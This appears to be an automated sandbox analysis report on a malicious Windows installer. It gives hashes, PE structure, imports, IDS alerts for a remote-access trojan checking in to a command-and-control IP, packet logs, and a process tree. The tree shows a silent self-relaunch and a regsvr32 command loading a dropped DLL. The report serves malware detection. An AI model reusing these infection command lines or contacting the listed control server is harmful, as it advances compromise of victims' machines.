SSDEEP:	49152:hYXn5erYk9ytmHjj4Kcz8t8yqHYZib5g1IdvkQaXXP8Z0yywVJVjyEtUy:hYXIrYrsjjn9I+ib5V0y/cEtUy
MD5:	72EA5220644A482BF6EE570CB9BD996C
SHA1:	C5E6C482C975CA2A3CE7CFDE9A44A2BD18E69D81
SHA-256:	326F0D47F4941D7F599FEDBA56D2EFD39838BE34ACA5D9C804A01484207966E1
SHA-512:	E8878BDA1C6E13D618E72B19ECE1138DCC1EAA6D4DDFACA63A779565DF5D8F088DC9CEFE498766BC8CD31E267F89CC389460DD7EEB579EF4B52AFB60C4974358
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...1.0g.4...'....&#...&.,...0...............@........................................&...@... .........................q.......H(..............................,......................................................$............................text....+.......,..................`..`.data........@.......0..............@....rdata..8n...P...p...2..............@..@.eh_fram............................@..@.bss....P................................edata..q............t..............@..@.idata..H(.......*...v..............@....CRT....4...........................@....tls................................@....reloc..,...........................@..B................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.76702659706501
TrID:	Win32 Executable (generic) a (10002005/4) 98.04% Inno Setup installer (109748/4) 1.08% InstallShield setup (43055/19) 0.42% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	eXIHsSYhOX.exe
File size:	2'495'440 bytes
MD5:	9170086e8d746e094ab4fe7444613030
SHA1:	b8afef741c151864c6bffc41a82824e0f51c0b97
SHA256:	982c53771e2f23b29141062b5e2a90bf1588ce4a2dbb559031e7758bd192c8eb
SHA512:	4f67d8ed8f2f4ea0d498c1ed9762a106c2fce4b6dd074b0b46cf901803c50bb0e02542bc2d456132bd9654e67e713831ea0a603feec65cf7cad2ddad1c73b659
SSDEEP:	49152:9wREDDMp3BgWLqWuFvO5pFdOkMgHeXDREnz+d:9wREOBFqWyO5pKkTs0+d
TLSH:	EEC5E023B2CBE13EE45E0B3B05B2B25494FB6A616423BE57D6E484ACCF250501E3F657
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x4a83bc
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6690DABD [Fri Jul 12 07:26:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	40ab50289f7ef5fae60801f88d4541fc

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004A2EBCh
call 00007F254CBCE185h
xor eax, eax
push ebp
push 004A8AC1h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004A8A7Bh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004B0634h]
call 00007F254CC5FB0Bh
call 00007F254CC5F65Eh
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F254CC5A338h
mov edx, dword ptr [ebp-14h]
mov eax, 004B41F4h
call 00007F254CBC8233h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004B41F4h]
mov dl, 01h
mov eax, dword ptr [0049CD14h]
call 00007F254CC5B663h
mov dword ptr [004B41F8h], eax
xor edx, edx
push ebp
push 004A8A27h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F254CC5FB93h
mov dword ptr [004B4200h], eax
mov eax, dword ptr [004B4200h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F254CC6687Ah
mov eax, dword ptr [004B4200h]
mov edx, 00000028h
call 00007F254CC5BF58h
mov edx, dword ptr [004B4200h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xb7000	0x71	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb5000	0xfec	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcb000	0x4830	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xba000	0x10fa8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb9000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb52d4	0x25c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xb6000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa568c	0xa5800	b889d302f6fc48a904de33d8d947ae80	False	0.3620185045317221	data	6.377190161826806	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xa7000	0x1b64	0x1c00	588dd0a8ab499300d3701cbd11b017d9	False	0.548828125	data	6.109264411030635	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xa9000	0x3838	0x3a00	5c0c76e77aef52ebc6702430837ccb6e	False	0.35338092672413796	data	4.95916338709992	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xad000	0x7258	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xb5000	0xfec	0x1000	627340dff539ef99048969aa4824fb2d	False	0.380615234375	data	5.020404933181373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xb6000	0x1a4	0x200	fd11c1109737963cc6cb7258063abfd6	False	0.34765625	data	2.729290535217263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xb7000	0x71	0x200	7de8ca0c7a61668a728fd3a88dc0942d	False	0.1796875	data	1.305578535725827	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xb8000	0x18	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xb9000	0x5d	0x200	d84006640084dc9f74a07c2ff9c7d656	False	0.189453125	data	1.3892750148744617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xba000	0x10fa8	0x11000	a85fda2741bd9417695daa5fc5a9d7a5	False	0.5789579503676471	data	6.709466460182023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xcb000	0x4830	0x4a00	41595eb6b70f6cb4398e4ee1256eaddd	False	0.30743243243243246	data	4.556383610024311	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xcb4c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5675675675675675
RT_ICON	0xcb5f0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.4486994219653179
RT_ICON	0xcbb58	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.4637096774193548
RT_ICON	0xcbe40	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.3935018050541516
RT_STRING	0xcc6e8	0x3f8	data			0.3198818897637795
RT_STRING	0xccae0	0x2dc	data			0.36475409836065575
RT_STRING	0xccdbc	0x430	data			0.40578358208955223
RT_STRING	0xcd1ec	0x44c	data			0.38636363636363635
RT_STRING	0xcd638	0x2d4	data			0.39226519337016574
RT_STRING	0xcd90c	0xb8	data			0.6467391304347826
RT_STRING	0xcd9c4	0x9c	data			0.6410256410256411
RT_STRING	0xcda60	0x374	data			0.4230769230769231
RT_STRING	0xcddd4	0x398	data			0.3358695652173913
RT_STRING	0xce16c	0x368	data			0.3795871559633027
RT_STRING	0xce4d4	0x2a4	data			0.4275147928994083
RT_RCDATA	0xce778	0x10	data			1.5
RT_RCDATA	0xce788	0x310	data			0.6173469387755102
RT_RCDATA	0xcea98	0x2c	data			1.1818181818181819
RT_GROUP_ICON	0xceac4	0x3e	data	English	United States	0.8870967741935484
RT_VERSION	0xceb04	0x584	data	English	United States	0.24504249291784702
RT_MANIFEST	0xcf088	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, CloseHandle, LocalFree, SizeofResource, VirtualProtect, QueryPerformanceFrequency, VirtualFree, GetFullPathNameW, GetProcessHeap, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVolumeInformationW, GetVersion, GetDriveTypeW, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetCommandLineW, GetSystemInfo, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, LCMapStringW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, AdjustTokenPrivileges, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, EqualSid, RegQueryValueExW, GetTokenInformation, ConvertSidToStringSidW, RegCloseKey

Exports

Name	Ordinal	Address
__dbk_fcall_wrapper	2	0x40fc10
dbkFCallWrapperAddr	1	0x4b063c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-04T01:22:28.745998+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49736	103.97.176.69	443	TCP
2025-01-04T01:23:33.528707+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	53307	103.97.176.69	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2025 01:22:28.745677948 CET	49736	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:28.745713949 CET	443	49736	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:28.745809078 CET	49736	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:28.745997906 CET	49736	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:28.746015072 CET	443	49736	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:28.746071100 CET	443	49736	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:30.347816944 CET	53046	53	192.168.2.4	162.159.36.2
Jan 4, 2025 01:22:30.352650881 CET	53	53046	162.159.36.2	192.168.2.4
Jan 4, 2025 01:22:30.352705002 CET	53046	53	192.168.2.4	162.159.36.2
Jan 4, 2025 01:22:30.357544899 CET	53	53046	162.159.36.2	192.168.2.4
Jan 4, 2025 01:22:30.798497915 CET	53046	53	192.168.2.4	162.159.36.2
Jan 4, 2025 01:22:30.803453922 CET	53	53046	162.159.36.2	192.168.2.4
Jan 4, 2025 01:22:30.803539038 CET	53046	53	192.168.2.4	162.159.36.2
Jan 4, 2025 01:22:33.731301069 CET	53050	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:33.731333971 CET	443	53050	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:33.731410027 CET	53050	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:33.731596947 CET	53050	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:33.731612921 CET	443	53050	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:33.731657982 CET	443	53050	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:38.700073004 CET	53054	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:38.700125933 CET	443	53054	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:38.700253963 CET	53054	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:38.701524019 CET	53054	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:38.701536894 CET	443	53054	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:38.701581001 CET	443	53054	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:43.701946974 CET	53056	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:43.701983929 CET	443	53056	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:43.705996990 CET	53056	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:43.709899902 CET	53056	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:43.709914923 CET	443	53056	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:43.709968090 CET	443	53056	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:48.700090885 CET	53058	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:48.700129986 CET	443	53058	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:48.700200081 CET	53058	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:48.700448036 CET	53058	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:48.700463057 CET	443	53058	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:48.700510025 CET	443	53058	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:53.670495987 CET	53060	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:53.670546055 CET	443	53060	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:53.670603037 CET	53060	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:53.670967102 CET	53060	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:53.670978069 CET	443	53060	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:53.671020031 CET	443	53060	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:58.669634104 CET	53078	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:58.669644117 CET	443	53078	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:58.669764996 CET	53078	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:58.670090914 CET	53078	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:22:58.670099974 CET	443	53078	103.97.176.69	192.168.2.4
Jan 4, 2025 01:22:58.670145035 CET	443	53078	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:03.668972015 CET	53110	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:03.669014931 CET	443	53110	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:03.669090986 CET	53110	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:03.669302940 CET	53110	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:03.669315100 CET	443	53110	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:03.669359922 CET	443	53110	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:08.668905020 CET	53142	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:08.668927908 CET	443	53142	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:08.668997049 CET	53142	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:08.669255018 CET	53142	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:08.669269085 CET	443	53142	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:08.669305086 CET	443	53142	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:13.637551069 CET	53176	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:13.637581110 CET	443	53176	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:13.637660027 CET	53176	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:13.637864113 CET	53176	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:13.637878895 CET	443	53176	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:13.637917995 CET	443	53176	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:18.606492996 CET	53209	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:18.606527090 CET	443	53209	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:18.606606960 CET	53209	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:18.606848955 CET	53209	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:18.606863976 CET	443	53209	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:18.606909037 CET	443	53209	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:23.575227022 CET	53242	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:23.575257063 CET	443	53242	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:23.575329065 CET	53242	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:23.575563908 CET	53242	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:23.575578928 CET	443	53242	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:23.575644016 CET	443	53242	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:28.543958902 CET	53276	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:28.543992043 CET	443	53276	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:28.544049978 CET	53276	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:28.544307947 CET	53276	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:28.544320107 CET	443	53276	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:28.544359922 CET	443	53276	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:33.528350115 CET	53307	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:33.528377056 CET	443	53307	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:33.528456926 CET	53307	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:33.528707027 CET	53307	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:33.528722048 CET	443	53307	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:33.528759003 CET	443	53307	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:38.496934891 CET	53340	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:38.496942997 CET	443	53340	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:38.497011900 CET	53340	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:38.497219086 CET	53340	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:38.497229099 CET	443	53340	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:38.497268915 CET	443	53340	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:43.496975899 CET	53345	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:43.497035027 CET	443	53345	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:43.497128963 CET	53345	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:43.497360945 CET	53345	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:43.497373104 CET	443	53345	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:43.497427940 CET	443	53345	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:48.500353098 CET	53347	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:48.500399113 CET	443	53347	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:48.500480890 CET	53347	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:48.503521919 CET	53347	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:48.503536940 CET	443	53347	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:48.503577948 CET	443	53347	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:53.497023106 CET	53349	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:53.497059107 CET	443	53349	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:53.497147083 CET	53349	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:53.497344971 CET	53349	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:53.497359991 CET	443	53349	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:53.497411966 CET	443	53349	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:58.497004986 CET	53351	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:58.497040033 CET	443	53351	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:58.497215986 CET	53351	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:58.497412920 CET	53351	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:23:58.497438908 CET	443	53351	103.97.176.69	192.168.2.4
Jan 4, 2025 01:23:58.497483969 CET	443	53351	103.97.176.69	192.168.2.4
Jan 4, 2025 01:24:03.778225899 CET	53353	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:24:03.778258085 CET	443	53353	103.97.176.69	192.168.2.4
Jan 4, 2025 01:24:03.778332949 CET	53353	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:24:03.778506994 CET	53353	443	192.168.2.4	103.97.176.69
Jan 4, 2025 01:24:03.778516054 CET	443	53353	103.97.176.69	192.168.2.4
Jan 4, 2025 01:24:03.778568029 CET	443	53353	103.97.176.69	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2025 01:22:30.347326040 CET	53	61653	162.159.36.2	192.168.2.4
Jan 4, 2025 01:22:30.842066050 CET	55342	53	192.168.2.4	1.1.1.1
Jan 4, 2025 01:22:30.851059914 CET	53	55342	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 4, 2025 01:22:30.842066050 CET	192.168.2.4	1.1.1.1	0xdae2	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 4, 2025 01:22:30.851059914 CET	1.1.1.1	192.168.2.4	0xdae2	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

Target ID:	0
Start time:	19:21:56
Start date:	03/01/2025
Path:	C:\Users\user\Desktop\eXIHsSYhOX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\eXIHsSYhOX.exe"
Imagebase:	0x6f0000
File size:	2'495'440 bytes
MD5 hash:	9170086E8D746E094AB4FE7444613030
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:21:56
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp" /SL5="$2048C,1548946,795136,C:\Users\user\Desktop\eXIHsSYhOX.exe"
Imagebase:	0x3c0000
File size:	3'284'992 bytes
MD5 hash:	E97363B64F37EE24CDD55CEA14D1C564
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 1%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:21:56
Start date:	03/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C timeout /T 3 & "C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:21:56
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:21:56
Start date:	03/01/2025
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /T 3
Imagebase:	0x8f0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:21:59
Start date:	03/01/2025
Path:	C:\Users\user\Desktop\eXIHsSYhOX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES
Imagebase:	0x6f0000
File size:	2'495'440 bytes
MD5 hash:	9170086E8D746E094AB4FE7444613030
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:21:59
Start date:	03/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp" /SL5="$304E8,1548946,795136,C:\Users\user\Desktop\eXIHsSYhOX.exe" /VERYSILENT /SUPPRESSMSGBOXES
Imagebase:	0xb60000
File size:	3'284'992 bytes
MD5 hash:	E97363B64F37EE24CDD55CEA14D1C564
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 1%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:22:00
Start date:	03/01/2025
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	"regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\BurlySparrow.dll"
Imagebase:	0x520000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
